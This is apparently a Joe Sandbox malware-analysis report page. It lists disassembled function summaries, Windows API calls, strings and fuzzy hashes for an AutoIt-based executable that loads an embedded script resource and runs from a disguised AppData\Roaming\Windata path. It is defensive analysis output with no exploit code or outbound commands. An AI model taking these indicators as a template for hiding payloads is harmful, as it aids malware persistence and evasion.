Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: InfoSystem$FreeLibrary$CurrentNativeProcessVersion_memmove
String ID:
API String ID: 2717633055-0
Opcode ID: 5f04fd019106bace3f854c96d3b1792f486d5512939e83ed3be00e6f0b4fbdcd
Instruction ID: a5a969013e452d2e3c4c99afef288b026f9ea5db803cbf7f4ca05b68464dc500
Opcode Fuzzy Hash: 5f04fd019106bace3f854c96d3b1792f486d5512939e83ed3be00e6f0b4fbdcd
Instruction Fuzzy Hash: D661B2B2809384CBCF19DF6898C15E97FA5AF2A305F1D45D9DC899B207E624CA0CCB75

Function 00D431F2 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 00D43202
FindResourceExW.KERNEL32(?,0000000A,SCRIPT,00000000), ref: 00D43219
LoadResource.KERNEL32(?,00000000), ref: 00DB57D7
SizeofResource.KERNEL32(?,00000000), ref: 00DB57EC
LockResource.KERNEL32(?), ref: 00DB57FF

Strings

SCRIPT, xrefs: 00D4320F

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: Resource$CreateFindGlobalLoadLockSizeofStream
String ID: SCRIPT
API String ID: 3051347437-3967369404
Opcode ID: 7dc6f5a07e0fbb924059ba7bcba60d96aa97b66afb560fa0615f4006fedf5f38
Instruction ID: 3e87d57c59aeb63d2bbcd6003148c736bf6aa34d83e8c47fd733afc805d64abe
Opcode Fuzzy Hash: 7dc6f5a07e0fbb924059ba7bcba60d96aa97b66afb560fa0615f4006fedf5f38
Instruction Fuzzy Hash: 15117070200702BFD7215B65EC88F27BBBAEBC9B51F14806CB402D6250DBB1DD00C670

Function 00D4DCD0 Relevance: 3.5, APIs: 2, Instructions: 540COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0eac3e371926b3076a04f20c74ada113c6df05c77e21d2e1f38487ab44605a67
Instruction ID: 805014a47de3b2d52885956a53e041090571ac6a3ce4fdb045c425509c8b21e9
Opcode Fuzzy Hash: 0eac3e371926b3076a04f20c74ada113c6df05c77e21d2e1f38487ab44605a67
Instruction Fuzzy Hash: 8F228E70900206DFDB24DF58C490ABAB7F1FF19300F18816AE8969B391E775E985DBB1

Function 00D4E1F0 Relevance: 49.8, APIs: 24, Strings: 4, Instructions: 815windowsleeptimeCOMMON

Download Yara Rule

APIs

PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00D4E279
timeGetTime.WINMM ref: 00D4E51A
TranslateMessage.USER32(?), ref: 00D4E646
DispatchMessageW.USER32(?), ref: 00D4E651
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00D4E664
LockWindowUpdate.USER32(00000000), ref: 00D4E697
DestroyWindow.USER32 ref: 00D4E6A3
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00D4E6BD
Sleep.KERNEL32(0000000A), ref: 00DB5B15
TranslateMessage.USER32(?), ref: 00DB62AF
DispatchMessageW.USER32(?), ref: 00DB62BD
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00DB62D1

Strings

@GUI_WINHANDLE, xrefs: 00DB5C05
@TRAY_ID, xrefs: 00DB5D6E
@GUI_CTRLHANDLE, xrefs: 00DB5C51
@GUI_CTRLID, xrefs: 00DB5BB9

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: Message$DispatchPeekTranslateWindow$DestroyLockSleepTimeUpdatetime
String ID: @GUI_CTRLHANDLE$@GUI_CTRLID$@GUI_WINHANDLE$@TRAY_ID
API String ID: 2641332412-570651680
Opcode ID: 3364df1c518a27b283fbc4a513db50306adac3cd911f5cf470f8ac0cac736f29
Instruction ID: 348b0f4f19c914fbb52a54b59a7708e7c243613ce20d849f628f70ca32234787
Opcode Fuzzy Hash: 3364df1c518a27b283fbc4a513db50306adac3cd911f5cf470f8ac0cac736f29
Instruction Fuzzy Hash: 0162AE70508341EFDB24DF24C885BAA77E5BF44304F08496DF98A9B296DB75D888CB72

Function 00D76A28 Relevance: 47.9, APIs: 26, Strings: 1, Instructions: 626fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

___createFile.LIBCMT ref: 00D76C73
___createFile.LIBCMT ref: 00D76CB4
GetLastError.KERNEL32(?,?,?,?,?,00000000,00000109), ref: 00D76CDD
__dosmaperr.LIBCMT ref: 00D76CE4
GetFileType.KERNEL32(00000000,?,?,?,?,?,00000000,00000109), ref: 00D76CF7
GetLastError.KERNEL32(?,?,?,?,?,00000000,00000109), ref: 00D76D1A
__dosmaperr.LIBCMT ref: 00D76D23
CloseHandle.KERNEL32(00000000,?,?,?,?,?,00000000,00000109), ref: 00D76D2C
__set_osfhnd.LIBCMT ref: 00D76D5C
__lseeki64_nolock.LIBCMT ref: 00D76DC6
__close_nolock.LIBCMT ref: 00D76DEC
__chsize_nolock.LIBCMT ref: 00D76E1C
__lseeki64_nolock.LIBCMT ref: 00D76E2E
__lseeki64_nolock.LIBCMT ref: 00D76F26
__lseeki64_nolock.LIBCMT ref: 00D76F3B
__close_nolock.LIBCMT ref: 00D76F9B

Part of subcall function 00D6F84C: CloseHandle.KERNEL32(00000000,00DEEEC4,00000000,?,00D76DF1,00DEEEC4,?,?,?,?,?,?,?,?,00000000,00000109), ref: 00D6F89C
Part of subcall function 00D6F84C: GetLastError.KERNEL32(?,00D76DF1,00DEEEC4,?,?,?,?,?,?,?,?,00000000,00000109), ref: 00D6F8A6
Part of subcall function 00D6F84C: __free_osfhnd.LIBCMT ref: 00D6F8B3
Part of subcall function 00D6F84C: __dosmaperr.LIBCMT ref: 00D6F8D5

Part of subcall function 00D6889E: __getptd_noexit.LIBCMT ref: 00D6889E

__lseeki64_nolock.LIBCMT ref: 00D76FBD
CloseHandle.KERNEL32(00000000,?,?,?,?,?,00000000,00000109), ref: 00D770F2
___createFile.LIBCMT ref: 00D77111
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000109), ref: 00D7711E
__dosmaperr.LIBCMT ref: 00D77125
__free_osfhnd.LIBCMT ref: 00D77145
__invoke_watson.LIBCMT ref: 00D77173
__wsopen_helper.LIBCMT ref: 00D7718D

Strings

@, xrefs: 00D76D48

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: __lseeki64_nolock$ErrorFileLast__dosmaperr$CloseHandle___create$__close_nolock__free_osfhnd$Type__chsize_nolock__getptd_noexit__invoke_watson__set_osfhnd__wsopen_helper
String ID: @
API String ID: 3896587723-2766056989
Opcode ID: e41defd23fcc94dd2b58829a11eaf5c9ffff7f68fcd5a7e8be84a8b196019375
Instruction ID: 2a286ded02cfdaf79ef768f881c4b91c3232c3386288db261edeaed883024f64
Opcode Fuzzy Hash: e41defd23fcc94dd2b58829a11eaf5c9ffff7f68fcd5a7e8be84a8b196019375
Instruction Fuzzy Hash: 042223719046069BEB258F68DC52BAE7B71EB01320F28C229E569EB2D1F735CD40D771

Function 00D41F04 Relevance: 30.1, APIs: 8, Strings: 9, Instructions: 346
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00D47E53: _memmove.LIBCMT ref: 00D47EB9

GetForegroundWindow.USER32 ref: 00D41FBE
IsWindow.USER32(?), ref: 00DB282E

Strings

REGEXPTITLE, xrefs: 00DB2629
ALL, xrefs: 00DB2795
INSTANCE, xrefs: 00DB276D
TITLE, xrefs: 00DB27C3
REGEXPCLASS, xrefs: 00DB267A
LAST, xrefs: 00DB25E7
HANDLE, xrefs: 00DB2613
ACTIVE, xrefs: 00DB25FD
CLASS, xrefs: 00DB2659

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: Window$Foreground_memmove
String ID: ACTIVE$ALL$CLASS$HANDLE$INSTANCE$LAST$REGEXPCLASS$REGEXPTITLE$TITLE
API String ID: 3828923867-1919597938
Opcode ID: a75b20df44727c1180aa9c0d1297355b8926b12357b04f6ea14104942d18f934
Instruction ID: f9437fa89bf8e367f4d682c3cd71cd4bab098e68f573f622180ae71bcbe5991c
Opcode Fuzzy Hash: a75b20df44727c1180aa9c0d1297355b8926b12357b04f6ea14104942d18f934
Instruction Fuzzy Hash: 53D1D975504702DBCB04EF10C891AFABBA1FF58344F144A2DF896576A1DB30E999CBB2

Function 00D42F58 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 53
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 00D42F8B
RegisterClassExW.USER32(00000030), ref: 00D42FB5
RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00D42FC6
InitCommonControlsEx.COMCTL32(?), ref: 00D42FE3
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 00D42FF3
LoadIconW.USER32(000000A9), ref: 00D43009
ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 00D43018

Strings

0, xrefs: 00D42F6D
TaskbarCreated, xrefs: 00D42FBB
AutoIt v3 GUI, xrefs: 00D42FA7
+, xrefs: 00D42F74
3Ro, xrefs: 00D42FE3

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
String ID: +$0$AutoIt v3 GUI$TaskbarCreated$3Ro
API String ID: 2914291525-1473020178
Opcode ID: d36afc68b0ab6d2ecd8b49f1630c27dd2f94be672fbf3eeadef7fb164956e675
Instruction ID: a67735a16f6dc5db180e0d604f71d03dc8df42a25d49bdd5de45e0716d236895
Opcode Fuzzy Hash: d36afc68b0ab6d2ecd8b49f1630c27dd2f94be672fbf3eeadef7fb164956e675
Instruction Fuzzy Hash: 5621B7B590031AAFDB009F95EC89BCDBBB5FB08700F10815AF515EA3A0D7B14688CFA5

Function 00D44257 Relevance: 19.5, APIs: 4, Strings: 7, Instructions: 235
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe,00000104,?,00000000,00000001,00000000), ref: 00D4428C

Part of subcall function 00D4CAEE: _memmove.LIBCMT ref: 00D4CB2F

Part of subcall function 00D61BC7: __wcsicmp_l.LIBCMT ref: 00D61C50

_wcscpy.LIBCMT ref: 00D443C0
GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe,00000104,?,?,?,?,00000000,CMDLINE,?,?,00000100,00000000,CMDLINE,?,?), ref: 00DB214E

Strings

/AutoIt3OutputDebug, xrefs: 00D44360
/ErrorStdOut, xrefs: 00D4434B
CMDLINE, xrefs: 00D442DA, 00D442DF, 00D4430D
/AutoIt3ExecuteScript, xrefs: 00D4438A
/AutoIt3ExecuteLine, xrefs: 00D44375
C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe, xrefs: 00D44283, 00D44288, 00D44292, 00D443BB, 00D443D9, 00DB213B, 00DB2192
CMDLINERAW, xrefs: 00D442AD

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: FileModuleName$__wcsicmp_l_memmove_wcscpy
String ID: /AutoIt3ExecuteLine$/AutoIt3ExecuteScript$/AutoIt3OutputDebug$/ErrorStdOut$C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe$CMDLINE$CMDLINERAW
API String ID: 861526374-3234958271
Opcode ID: a3e7fae3b2ee4197e9cfa24d856deeeb5c29e728d47d45f920b9cc8d047b020f
Instruction ID: 3ee6ce9fdffe0eb86c3ce9c163a28f87083e0a1006e328ce77450c329ac147e0
Opcode Fuzzy Hash: a3e7fae3b2ee4197e9cfa24d856deeeb5c29e728d47d45f920b9cc8d047b020f
Instruction Fuzzy Hash: 15818072800219ABCB05EBE4CD96EEF77B8EF15350F140016F545B7192EF606A48CBB2

Function 00D5E975 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 170
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 00D5EA39
__wsplitpath.LIBCMT ref: 00D5EA56

Part of subcall function 00D6297D: __wsplitpath_helper.LIBCMT ref: 00D629BD

_wcsncat.LIBCMT ref: 00D5EA69
__makepath.LIBCMT ref: 00D5EA85

Part of subcall function 00D62BFF: __wmakepath_s.LIBCMT ref: 00D62C13

Part of subcall function 00D6010A: std::exception::exception.LIBCMT ref: 00D6013E
Part of subcall function 00D6010A: __CxxThrowException@8.LIBCMT ref: 00D60153

_wcscpy.LIBCMT ref: 00D5EABE

Part of subcall function 00D5EB05: RegOpenKeyExW.KERNEL32(80000001,Software\AutoIt v3\AutoIt,00000000,00000001,?,00000000,?,00D5EADA,?,?), ref: 00D5EB27

_wcscat.LIBCMT ref: 00DB32FC
_wcscat.LIBCMT ref: 00DB3334
_wcsncpy.LIBCMT ref: 00DB3370

Strings

\, xrefs: 00DB3321
Include, xrefs: 00D5EA63
", xrefs: 00D5EAEB

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: _wcscat$Exception@8FileModuleNameOpenThrow__makepath__wmakepath_s__wsplitpath__wsplitpath_helper_wcscpy_wcsncat_wcsncpystd::exception::exception
String ID: Include$\$"
API String ID: 1213536620-2474423117
Opcode ID: 7824e7c55d05d51c4a2c9459200a2ac2acdbcc020d1c1f672bcf0aaeebebfcde
Instruction ID: bb65bbf5bdabbca99ef5ab959040749abaea03f3c910da753813cec8d287f6d9
Opcode Fuzzy Hash: 7824e7c55d05d51c4a2c9459200a2ac2acdbcc020d1c1f672bcf0aaeebebfcde
Instruction Fuzzy Hash: 7D5180B14043419FC704EF9AEC89C9B77E8FB59300B40452EF645A3261EB79968CCB76

Function 00D429C2 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 151
windowtimeregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DefWindowProcW.USER32(?,?,?,?), ref: 00D42A33
KillTimer.USER32(?,00000001), ref: 00D42A5D
SetTimer.USER32(?,00000001,000002EE,00000000), ref: 00D42A80
RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00D42A8B
CreatePopupMenu.USER32 ref: 00D42A9F
PostQuitMessage.USER32(00000000), ref: 00D42AAE

Strings

TaskbarCreated, xrefs: 00D42A86

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: MessageTimerWindow$CreateKillMenuPopupPostProcQuitRegister
String ID: TaskbarCreated
API String ID: 129472671-2362178303
Opcode ID: c7b89a9b6e0a302c23d680a479d3f31965efdca00e63b8ec90c6f1eb95d640dd
Instruction ID: b311f43004f75a8ca806b57f5ddb65505eabdee3cf05baeb0e7b8fd5c444bc6d
Opcode Fuzzy Hash: c7b89a9b6e0a302c23d680a479d3f31965efdca00e63b8ec90c6f1eb95d640dd
Instruction Fuzzy Hash: 6F41593114024A9FDB34AF68DC0BBB936A6EB54304F884129FD82FA2A1DA75DD84C775

Function 00D430A5 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 66
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 00D430B0
LoadCursorW.USER32(00000000,00007F00), ref: 00D430BF
LoadIconW.USER32(00000063), ref: 00D430D5
LoadIconW.USER32(000000A4), ref: 00D430E7
LoadIconW.USER32(000000A2), ref: 00D430F9

Part of subcall function 00D4318A: LoadImageW.USER32(00D40000,00000063,00000001,00000010,00000010,00000000), ref: 00D431AE

RegisterClassExW.USER32(?), ref: 00D43167

Part of subcall function 00D42F58: GetSysColorBrush.USER32(0000000F), ref: 00D42F8B
Part of subcall function 00D42F58: RegisterClassExW.USER32(00000030), ref: 00D42FB5
Part of subcall function 00D42F58: RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00D42FC6
Part of subcall function 00D42F58: InitCommonControlsEx.COMCTL32(?), ref: 00D42FE3
Part of subcall function 00D42F58: ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 00D42FF3
Part of subcall function 00D42F58: LoadIconW.USER32(000000A9), ref: 00D43009
Part of subcall function 00D42F58: ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 00D43018

Strings

0, xrefs: 00D43139
AutoIt v3, xrefs: 00D43156
#, xrefs: 00D43140

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: Load$Icon$ImageRegister$BrushClassColorList_$CommonControlsCreateCursorInitMessageReplaceWindow
String ID: #$0$AutoIt v3
API String ID: 423443420-4155596026
Opcode ID: 06e228a0ca7d3168528f19a9ab7f44fd13d49dd77c7a865a8a42ccae38c279db
Instruction ID: 3d2ea7cbb7c45362fc4d566c974d517fb40215225843a0c0bcf8add72c77de37
Opcode Fuzzy Hash: 06e228a0ca7d3168528f19a9ab7f44fd13d49dd77c7a865a8a42ccae38c279db
Instruction Fuzzy Hash: A9214770D01305AFCB04DFAAEC49A99BFF5FB48310F00816AE615B73A0D77659888FA1

Function 00D445A7 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 211
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

mciSendStringW.WINMM(close all,00000000,00000000,00000000), ref: 00D445F0
CoUninitialize.COMBASE ref: 00D44695
UnregisterHotKey.USER32(?), ref: 00D447BD
DestroyWindow.USER32(?), ref: 00DB5936
FreeLibrary.KERNEL32(?), ref: 00DB599D
VirtualFree.KERNEL32(?,00000000,00008000), ref: 00DB59CA

Strings

close all, xrefs: 00D445EB

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: Free$DestroyLibrarySendStringUninitializeUnregisterVirtualWindow
String ID: close all
API String ID: 469580280-3243417748
Opcode ID: 233f5955c072c6dfd4fe0bf3793e22afa61933096d4039dccfb7eb3c06cdf28d
Instruction ID: 1fa438f1678b151fb784dafc0c310b31f8485c0cc318b7f701862600e95940e1
Opcode Fuzzy Hash: 233f5955c072c6dfd4fe0bf3793e22afa61933096d4039dccfb7eb3c06cdf28d
Instruction Fuzzy Hash: 0B912934600602CFCB19EF24D895BA9F3A4FF15701F5542A9F44AA7266DB30AE5ACF70

Function 00D5EB05 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 73
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNEL32(80000001,Software\AutoIt v3\AutoIt,00000000,00000001,?,00000000,?,00D5EADA,?,?), ref: 00D5EB27
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,00000000,?,?,00D5EADA,?,?), ref: 00DB4B26
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,?,?,00000000,?,?,00D5EADA,?,?), ref: 00DB4B65
RegCloseKey.ADVAPI32(?,?,00D5EADA,?,?), ref: 00DB4B94

Strings

Software\AutoIt v3\AutoIt, xrefs: 00D5EB1D
Include, xrefs: 00DB4B1E, 00DB4B5D

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: QueryValue$CloseOpen
String ID: Include$Software\AutoIt v3\AutoIt
API String ID: 1586453840-614718249
Opcode ID: 842911309747df568c64049fa59090dbe1396563f507465d2db41da89207feea
Instruction ID: 981a1bb247cef1fcfc52d1309e3a1d1c01d4acc830a301e8fc7bfc57b49336cc
Opcode Fuzzy Hash: 842911309747df568c64049fa59090dbe1396563f507465d2db41da89207feea
Instruction Fuzzy Hash: 66113A71611209BFEB04EBA8CD86EFE77BDEF04354F100069B506E6191EA70AE45EB70

Function 00D42E9D Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 00D42ECB
CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 00D42EEC
ShowWindow.USER32(00000000), ref: 00D42F00
ShowWindow.USER32(00000000), ref: 00D42F09

Strings

AutoIt v3, xrefs: 00D42EC3, 00D42EC8, 00D42EC9
edit, xrefs: 00D42EE6

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

